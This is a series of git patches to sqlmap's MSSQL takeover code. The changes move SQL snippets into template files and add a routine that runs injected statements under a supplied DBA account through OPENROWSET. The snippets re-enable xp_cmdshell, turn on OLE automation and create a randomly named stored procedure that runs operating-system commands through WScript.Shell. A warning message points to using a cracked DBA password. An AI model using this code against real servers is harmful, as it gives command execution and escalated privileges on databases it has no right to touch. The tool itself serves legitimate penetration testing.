From b7d2680e55b9c93087f1a4f461a4edda9e9773fa Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 2 Jul 2012 12:50:26 +0100 Subject: [PATCH 1/6] minor refactoring, issue #51 --- lib/takeover/xp_cmdshell.py | 5 ++--- procs/mssqlserver/disable_xp_cmdshell_2000.txt | 1 + procs/mssqlserver/enable_xp_cmdshell_2000.txt | 1 + 3 files changed, 4 insertions(+), 3 deletions(-) create mode 100644 procs/mssqlserver/disable_xp_cmdshell_2000.txt create mode 100644 procs/mssqlserver/enable_xp_cmdshell_2000.txt diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index d4b9cac86..56743b9ec 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -76,10 +76,9 @@ class xp_cmdshell: logger.debug(debugMsg) if mode == 1: - cmd = "EXEC master..sp_addextendedproc 'xp_cmdshell', " - cmd += "@dllname='xplog70.dll'" + cmd = getSPQLSnippet(DBMS.MSSQL, "enable_xp_cmdshell_2000", ENABLE=str(mode)) else: - cmd = "EXEC master..sp_dropextendedproc 'xp_cmdshell'" + cmd = getSPQLSnippet(DBMS.MSSQL, "disable_xp_cmdshell_2000", ENABLE=str(mode)) return cmd diff --git a/procs/mssqlserver/disable_xp_cmdshell_2000.txt b/procs/mssqlserver/disable_xp_cmdshell_2000.txt new file mode 100644 index 000000000..ae22febdc --- /dev/null +++ b/procs/mssqlserver/disable_xp_cmdshell_2000.txt @@ -0,0 +1 @@ +EXEC master..sp_dropextendedproc 'xp_cmdshell'; diff --git a/procs/mssqlserver/enable_xp_cmdshell_2000.txt b/procs/mssqlserver/enable_xp_cmdshell_2000.txt new file mode 100644 index 000000000..52e1044a7 --- /dev/null +++ b/procs/mssqlserver/enable_xp_cmdshell_2000.txt @@ -0,0 +1 @@ +EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll'; From 04d803c7fd82e8a8ca5e09e877f7383998f8e1e6 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 2 Jul 2012 15:02:00 +0100 Subject: [PATCH 2/6] more tweaking for issue #34, it's totally not as trivial as it may look (OPENROWSET has many limitations on MSSQL >= 2005) --- lib/core/agent.py | 17 ++++++++++ lib/takeover/abstraction.py | 24 +++++--------- lib/takeover/xp_cmdshell.py | 33 ++++++++++--------- procs/mssqlserver/configure_openrowset.txt | 2 +- procs/mssqlserver/configure_xp_cmdshell.txt | 8 ++--- .../mssqlserver/disable_xp_cmdshell_2000.txt | 2 +- procs/mssqlserver/enable_xp_cmdshell_2000.txt | 2 +- procs/mssqlserver/run_statement_as_user.txt | 3 +- 8 files changed, 52 insertions(+), 39 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index ecabf6fca..bb8cad288 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -11,6 +11,7 @@ from xml.etree import ElementTree as ET from lib.core.common import Backend from lib.core.common import extractRegexResult +from lib.core.common import getSPQLSnippet from lib.core.common import isDBMSVersionAtLeast from lib.core.common import isTechniqueAvailable from lib.core.common import randomInt @@ -27,6 +28,7 @@ from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import FROM_DUMMY_TABLE from lib.core.settings import GENERIC_SQL_COMMENT from lib.core.settings import PAYLOAD_DELIMITER +from lib.core.settings import SQL_STATEMENTS from lib.core.unescaper import unescaper class Agent: @@ -816,5 +818,20 @@ class Agent: return re.sub("(%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), "%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER), inpStr) if inpStr else inpStr + def runAsDBMSUser(self, query): + if conf.dCred and "Ad Hoc Distributed Queries" not in query: + for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): + for sqlStatement in sqlStatements: + if query.lower().startswith(sqlStatement): + sqlType = sqlTitle + break + + if sqlType and "SELECT" not in sqlType: + query = "SELECT %d;%s" % (randomInt(), query) + + query = getSPQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''")) + + return query + # SQL agent agent = Agent() diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 8b2fbbaf9..90272794a 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -10,13 +10,13 @@ from lib.core.common import dataToStdout from lib.core.common import Backend from lib.core.common import getSPQLSnippet from lib.core.common import isTechniqueAvailable +from lib.core.common import randomInt from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import sqlmapUnsupportedFeatureException -from lib.core.settings import SQL_STATEMENTS from lib.core.shell import autoCompletion from lib.request import inject from lib.takeover.udf import UDF @@ -38,21 +38,6 @@ class Abstraction(Web, UDF, xp_cmdshell): Web.__init__(self) xp_cmdshell.__init__(self) - def runAsDBMSUser(self, query): - if conf.dCred: - for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): - for sqlStatement in sqlStatements: - if query.lower().startswith(sqlStatement): - sqlType = sqlTitle - break - - if sqlType and "SELECT" not in sqlType: - query = "SELECT 1;%s" % query - - query = getSPQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''")) - - return query - def execCmd(self, cmd, silent=False): if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): self.webBackdoorRunCmd(cmd) @@ -201,6 +186,13 @@ class Abstraction(Web, UDF, xp_cmdshell): if mandatory and not self.isDba(): warnMsg = "the functionality requested might not work because " warnMsg += "the session user is not a database administrator" + + if not conf.dCred and Backend.getIdentifiedDbms() in ( DBMS.MSSQL, DBMS.PGSQL ): + warnMsg += ". You can try to provide --dbms-cred switch " + warnMsg += "to execute statements as a DBA user if you " + warnMsg += "were able to extract and crack a DBA " + warnMsg += "password by any mean" + logger.warn(warnMsg) if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index 56743b9ec..b2921bfb4 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -5,6 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import getSPQLSnippet from lib.core.common import hashDBWrite @@ -40,26 +41,28 @@ class xp_cmdshell: if Backend.isVersionWithin(("2005", "2008")): logger.debug("activating sp_OACreate") - cmd += "EXEC master..sp_configure 'show advanced options', 1; " - cmd += "RECONFIGURE WITH OVERRIDE; " - cmd += "EXEC master..sp_configure 'ole automation procedures', 1; " - cmd += "RECONFIGURE WITH OVERRIDE; " - inject.goStacked(cmd) + cmd += "EXEC master..sp_configure 'show advanced options',1;" + cmd += "RECONFIGURE WITH OVERRIDE;" + cmd += "EXEC master..sp_configure 'ole automation procedures',1;" + cmd += "RECONFIGURE WITH OVERRIDE" + inject.goStacked(agent.runAsDBMSUser(cmd)) self.__randStr = randomStr(lowercase=True) + self.__xpCmdshellNew = randomStr(lowercase=True) + self.xpCmdshellStr = "master..xp_%s" % self.__xpCmdshellNew - cmd += "DECLARE @%s nvarchar(999); " % self.__randStr + cmd = "DECLARE @%s nvarchar(999);" % self.__randStr cmd += "set @%s='" % self.__randStr - cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int " - cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT " - cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 " - cmd += "EXEC sp_OADestroy @ID'; " - cmd += "EXEC master..sp_executesql @%s;" % self.__randStr + cmd += "CREATE PROCEDURE xp_%s(@cmd varchar(255)) AS DECLARE @ID int " % self.__xpCmdshellNew + cmd += "EXEC sp_OACreate ''WScript.Shell'',@ID OUT " + cmd += "EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 " + cmd += "EXEC sp_OADestroy @ID';" + cmd += "EXEC master..sp_executesql @%s" % self.__randStr if Backend.isVersionWithin(("2005", "2008")): - cmd += " RECONFIGURE WITH OVERRIDE;" + cmd += ";RECONFIGURE WITH OVERRIDE" - inject.goStacked(cmd) + inject.goStacked(agent.runAsDBMSUser(cmd)) def __xpCmdshellConfigure2005(self, mode): debugMsg = "configuring xp_cmdshell using sp_configure " @@ -88,7 +91,7 @@ class xp_cmdshell: else: cmd = self.__xpCmdshellConfigure2000(mode) - inject.goStacked(cmd) + inject.goStacked(agent.runAsDBMSUser(cmd)) def __xpCmdshellCheck(self): cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2) @@ -153,7 +156,7 @@ class xp_cmdshell: self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd) self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr) - return self.runAsDBMSUser(self.__forgedCmd) + return agent.runAsDBMSUser(self.__forgedCmd) def xpCmdshellExecCmd(self, cmd, silent=False): cmd = self.xpCmdshellForgeCmd(cmd) diff --git a/procs/mssqlserver/configure_openrowset.txt b/procs/mssqlserver/configure_openrowset.txt index 95242e05a..5f3d6d827 100644 --- a/procs/mssqlserver/configure_openrowset.txt +++ b/procs/mssqlserver/configure_openrowset.txt @@ -3,4 +3,4 @@ RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0; -RECONFIGURE WITH OVERRIDE; +RECONFIGURE WITH OVERRIDE diff --git a/procs/mssqlserver/configure_xp_cmdshell.txt b/procs/mssqlserver/configure_xp_cmdshell.txt index 3a686d381..349c8cf8c 100644 --- a/procs/mssqlserver/configure_xp_cmdshell.txt +++ b/procs/mssqlserver/configure_xp_cmdshell.txt @@ -1,6 +1,6 @@ -EXEC master..sp_configure 'show advanced options', 1; +EXEC master..sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; -EXEC master..sp_configure 'xp_cmdshell', %ENABLE%; +EXEC master..sp_configure 'xp_cmdshell',%ENABLE%; RECONFIGURE WITH OVERRIDE; -EXEC sp_configure 'show advanced options', 0; -RECONFIGURE WITH OVERRIDE; \ No newline at end of file +EXEC sp_configure 'show advanced options',0; +RECONFIGURE WITH OVERRIDE diff --git a/procs/mssqlserver/disable_xp_cmdshell_2000.txt b/procs/mssqlserver/disable_xp_cmdshell_2000.txt index ae22febdc..379f6517f 100644 --- a/procs/mssqlserver/disable_xp_cmdshell_2000.txt +++ b/procs/mssqlserver/disable_xp_cmdshell_2000.txt @@ -1 +1 @@ -EXEC master..sp_dropextendedproc 'xp_cmdshell'; +EXEC master..sp_dropextendedproc 'xp_cmdshell' diff --git a/procs/mssqlserver/enable_xp_cmdshell_2000.txt b/procs/mssqlserver/enable_xp_cmdshell_2000.txt index 52e1044a7..2ec155222 100644 --- a/procs/mssqlserver/enable_xp_cmdshell_2000.txt +++ b/procs/mssqlserver/enable_xp_cmdshell_2000.txt @@ -1 +1 @@ -EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll'; +EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll' diff --git a/procs/mssqlserver/run_statement_as_user.txt b/procs/mssqlserver/run_statement_as_user.txt index 71f3a46b7..46842737c 100644 --- a/procs/mssqlserver/run_statement_as_user.txt +++ b/procs/mssqlserver/run_statement_as_user.txt @@ -1 +1,2 @@ -SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','%STATEMENT%'); +SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','%STATEMENT%') +# SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','%STATEMENT%') From 7335072ab823453f82df2a159030a95c9fd90854 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 2 Jul 2012 15:11:21 +0100 Subject: [PATCH 3/6] leftover --- lib/takeover/abstraction.py | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 90272794a..19a387163 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -10,7 +10,6 @@ from lib.core.common import dataToStdout from lib.core.common import Backend from lib.core.common import getSPQLSnippet from lib.core.common import isTechniqueAvailable -from lib.core.common import randomInt from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger From fd4cfb0cc09967a19ab7ecdd2bb0bb35da67199b Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 2 Jul 2012 15:28:19 +0100 Subject: [PATCH 4/6] working on #51 --- lib/takeover/xp_cmdshell.py | 17 ++++------------- procs/mssqlserver/activate_sp_oacreate.txt | 4 ++++ procs/mssqlserver/create_new_xp_cmdshell.txt | 8 ++++++++ 3 files changed, 16 insertions(+), 13 deletions(-) create mode 100644 procs/mssqlserver/activate_sp_oacreate.txt create mode 100644 procs/mssqlserver/create_new_xp_cmdshell.txt diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index b2921bfb4..9c80d7f3d 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -41,23 +41,14 @@ class xp_cmdshell: if Backend.isVersionWithin(("2005", "2008")): logger.debug("activating sp_OACreate") - cmd += "EXEC master..sp_configure 'show advanced options',1;" - cmd += "RECONFIGURE WITH OVERRIDE;" - cmd += "EXEC master..sp_configure 'ole automation procedures',1;" - cmd += "RECONFIGURE WITH OVERRIDE" + cmd = getSPQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") inject.goStacked(agent.runAsDBMSUser(cmd)) self.__randStr = randomStr(lowercase=True) - self.__xpCmdshellNew = randomStr(lowercase=True) - self.xpCmdshellStr = "master..xp_%s" % self.__xpCmdshellNew + self.__xpCmdshellNew = "xp_%s" % randomStr(lowercase=True) + self.xpCmdshellStr = "master..%s" % self.__xpCmdshellNew - cmd = "DECLARE @%s nvarchar(999);" % self.__randStr - cmd += "set @%s='" % self.__randStr - cmd += "CREATE PROCEDURE xp_%s(@cmd varchar(255)) AS DECLARE @ID int " % self.__xpCmdshellNew - cmd += "EXEC sp_OACreate ''WScript.Shell'',@ID OUT " - cmd += "EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 " - cmd += "EXEC sp_OADestroy @ID';" - cmd += "EXEC master..sp_executesql @%s" % self.__randStr + cmd = getSPQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self.__randStr, XP_CMDSHELL_NEW=self.__xpCmdshellNew) if Backend.isVersionWithin(("2005", "2008")): cmd += ";RECONFIGURE WITH OVERRIDE" diff --git a/procs/mssqlserver/activate_sp_oacreate.txt b/procs/mssqlserver/activate_sp_oacreate.txt new file mode 100644 index 000000000..543ba6635 --- /dev/null +++ b/procs/mssqlserver/activate_sp_oacreate.txt @@ -0,0 +1,4 @@ +EXEC master..sp_configure 'show advanced options',1; +RECONFIGURE WITH OVERRIDE; +EXEC master..sp_configure 'ole automation procedures',1; +RECONFIGURE WITH OVERRIDE" diff --git a/procs/mssqlserver/create_new_xp_cmdshell.txt b/procs/mssqlserver/create_new_xp_cmdshell.txt new file mode 100644 index 000000000..684d7eb23 --- /dev/null +++ b/procs/mssqlserver/create_new_xp_cmdshell.txt @@ -0,0 +1,8 @@ +DECLARE @%RANDSTR% nvarchar(999); +set @%RANDSTR%=' +CREATE PROCEDURE %XP_CMDSHELL_NEW%(@cmd varchar(255)) AS DECLARE @ID int +EXEC sp_OACreate ''WScript.Shell'',@ID OUT +EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 +EXEC sp_OADestroy @ID'; +EXEC master..sp_executesql @%RANDSTR% + From cd769ba68f50626e8a9bd47978bfbced45480354 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 2 Jul 2012 15:30:32 +0100 Subject: [PATCH 5/6] minor adjustments, #51 --- procs/mssqlserver/create_new_xp_cmdshell.txt | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/procs/mssqlserver/create_new_xp_cmdshell.txt b/procs/mssqlserver/create_new_xp_cmdshell.txt index 684d7eb23..913f368c1 100644 --- a/procs/mssqlserver/create_new_xp_cmdshell.txt +++ b/procs/mssqlserver/create_new_xp_cmdshell.txt @@ -1,8 +1,3 @@ DECLARE @%RANDSTR% nvarchar(999); -set @%RANDSTR%=' -CREATE PROCEDURE %XP_CMDSHELL_NEW%(@cmd varchar(255)) AS DECLARE @ID int -EXEC sp_OACreate ''WScript.Shell'',@ID OUT -EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 -EXEC sp_OADestroy @ID'; +set @%RANDSTR%='CREATE PROCEDURE %XP_CMDSHELL_NEW%(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID'; EXEC master..sp_executesql @%RANDSTR% - From 1bae9955b7f7a42d38486edd0744480e0eb95e57 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 2 Jul 2012 15:31:25 +0100 Subject: [PATCH 6/6] typo, #51 --- procs/mssqlserver/activate_sp_oacreate.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/procs/mssqlserver/activate_sp_oacreate.txt b/procs/mssqlserver/activate_sp_oacreate.txt index 543ba6635..753efb71a 100644 --- a/procs/mssqlserver/activate_sp_oacreate.txt +++ b/procs/mssqlserver/activate_sp_oacreate.txt @@ -1,4 +1,4 @@ EXEC master..sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'ole automation procedures',1; -RECONFIGURE WITH OVERRIDE" +RECONFIGURE WITH OVERRIDE